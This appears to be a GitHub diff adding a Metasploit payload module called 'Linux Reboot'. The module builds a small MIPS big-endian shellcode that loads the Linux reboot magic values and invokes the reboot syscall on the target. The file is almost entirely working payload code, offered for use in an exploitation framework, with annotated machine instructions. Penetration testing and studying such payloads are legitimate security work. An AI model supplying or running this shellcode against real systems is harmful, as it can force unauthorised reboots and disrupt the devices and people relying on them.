|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +module Metasploit3 |
| 9 | + |
| 10 | + include Msf::Payload::Single |
| 11 | + include Msf::Payload::Linux |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super(merge_info(info, |
| 15 | + 'Name' => 'Linux Reboot', |
| 16 | + 'Description' => %q{ |
| 17 | + A very small shellcode for rebooting the system. |
| 18 | + This module is sometimes helpful for testing purposes. |
| 19 | + }, |
| 20 | + 'Author' => |
| 21 | + [ |
| 22 | + 'Michael Messner <[email protected]>', #metasploit payload |
| 23 | + 'rigan - <[email protected]>' #original payload |
| 24 | + ], |
| 25 | + 'References' => ['URL', 'http://www.shell-storm.org/shellcode/files/shellcode-795.php'], |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'Platform' => 'linux', |
| 28 | + 'Arch' => ARCH_MIPSBE, |
| 29 | + 'Payload' => |
| 30 | + { |
| 31 | + 'Offsets' => {} , |
| 32 | + 'Payload' => '' |
| 33 | + }) |
| 34 | + ) |
| 35 | + end |
| 36 | + |
| 37 | + def generate |
| 38 | + |
| 39 | + shellcode = |
| 40 | + "\x3c\x06\x43\x21" + #lui a2,0x4321 |
| 41 | + "\x34\xc6\xfe\xdc" + #ori a2,a2,0xfedc |
| 42 | + "\x3c\x05\x28\x12" + #lui a1,0x2812 |
| 43 | + "\x34\xa5\x19\x69" + #ori a1,a1,0x1969 |
| 44 | + "\x3c\x04\xfe\xe1" + #lui a0,0xfee1 |
| 45 | + "\x34\x84\xde\xad" + #ori a0,a0,0xdead |
| 46 | + "\x24\x02\x0f\xf8" + #li v0,4088 |
| 47 | + "\x01\x01\x01\x0c" #syscall 0x40404 |
| 48 | + |
| 49 | + return super + shellcode |
| 50 | + end |
| 51 | + |
| 52 | +end |
0 commit comments